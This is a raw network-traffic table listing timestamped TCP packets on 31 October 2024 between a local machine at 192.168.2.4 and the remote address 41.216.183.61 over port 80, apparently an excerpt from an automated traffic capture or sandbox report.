Oct 31, 2024 03:04:11.715472937 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.715500116 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.715538979 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.715538979 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750154972 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750180006 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750191927 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750243902 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750276089 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750329971 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750346899 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750358105 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750370026 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750380993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750382900 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750412941 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750437975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750756979 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750771999 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750782967 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750794888 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.750813961 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750839949 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.750859022 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.751122952 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.751163960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.751178980 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.751180887 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.751210928 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.751225948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.751229048 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.751240015 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.751277924 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.751303911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.752286911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752309084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752319098 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752330065 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752340078 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.752374887 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.752374887 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.752722979 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752778053 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.752880096 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752891064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752901077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.752932072 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.752959013 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.792920113 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.792943001 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.792959929 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.792993069 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.793034077 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.831892967 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.831949949 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.831960917 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.831970930 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.831986904 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.832031012 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.832065105 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.832119942 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.832212925 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.832222939 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.832261086 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.832263947 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.832273960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.832285881 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.832285881 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.832304955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.832334042 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.866811037 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.866856098 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.866868019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.866899014 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.866936922 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867041111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867093086 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867131948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867145061 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867193937 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867193937 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867227077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867239952 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867296934 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867296934 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867415905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867468119 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867466927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867480993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867511988 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867516041 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867523909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867558956 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867558956 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867595911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867878914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867939949 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.867948055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.867959976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.868000031 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.868032932 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.868185997 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.868197918 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.868212938 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.868237972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.868268013 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.869122982 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869177103 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.869210958 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869220972 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869230986 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869261980 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.869294882 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.869569063 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869617939 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.869642973 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869652987 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869663000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.869694948 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.869726896 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.909838915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.909873962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.909885883 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.909897089 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.909925938 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.909971952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.948703051 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.948765039 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.948775053 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.948776960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.948796988 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.948808908 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.948811054 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.948832989 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.948863983 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.949062109 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.949074984 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.949086905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.949099064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.949112892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.949151993 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.949151993 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.983618975 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983634949 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983647108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983717918 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.983779907 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.983850956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983861923 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983874083 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983910084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983911037 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.983923912 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.983930111 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.983971119 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.983971119 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.984190941 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984204054 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984241962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.984282970 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984293938 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984304905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984329939 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.984360933 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.984654903 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984668016 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984690905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984702110 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984710932 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.984714031 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.984734058 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.984764099 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.985071898 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.985101938 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.985125065 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.985157013 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.985965014 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.986010075 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.986017942 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.986031055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.986068964 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.986352921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.986397982 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.986402988 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.986437082 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.986476898 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.986488104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.986526966 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.026570082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.026583910 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.026602983 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.026613951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.026643038 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.026679993 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.065896988 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.065958023 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.065964937 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.065992117 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.066010952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.066042900 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.066049099 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.066091061 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.066096067 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.066131115 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.066149950 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.066164970 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.066189051 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.066210985 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.066217899 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.066272974 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100485086 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100523949 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100578070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100594997 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100610971 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100621939 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100646019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100647926 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100668907 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100680113 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100697994 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100719929 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100753069 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100753069 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100780010 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100789070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.100804090 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100836039 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.100996017 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101030111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101061106 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101063013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101083994 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101097107 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101123095 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101142883 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101320028 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101381063 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101386070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101419926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101444960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101454973 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101466894 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101514101 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101674080 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101725101 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101726055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101778030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101778030 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101818085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101834059 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101852894 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.101865053 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.101903915 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.102741957 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.102793932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.102802992 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.102824926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.102844000 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.102857113 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.102869987 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.102909088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.103297949 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.103348970 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.103363991 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.103383064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.103406906 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.103425980 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.143479109 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.143520117 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.143547058 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.143559933 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.143573999 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.143610954 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182519913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182585001 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182620049 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182645082 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182656050 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182691097 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182694912 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182720900 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182730913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182750940 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182761908 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182770967 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182794094 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182813883 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182835102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182884932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182914019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.182940960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.182960987 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.217149973 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217269897 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217279911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217292070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217305899 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.217312098 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217367887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217380047 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217391968 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217400074 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.217403889 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217495918 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.217863083 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217880964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217892885 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217905045 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217916012 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.217921019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.217947006 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.217969894 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.218267918 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218281031 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218297958 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218308926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218321085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218321085 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.218348980 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.218374014 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.218796015 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218808889 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218827009 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218837976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218849897 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.218853951 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.218878984 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.218899012 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.219595909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.219608068 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.219618082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.219647884 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.219681978 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.220097065 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.220144033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.220146894 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.220155001 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.220196962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.220221996 CET	80	63780	41.216.183.61	192.168.2.4
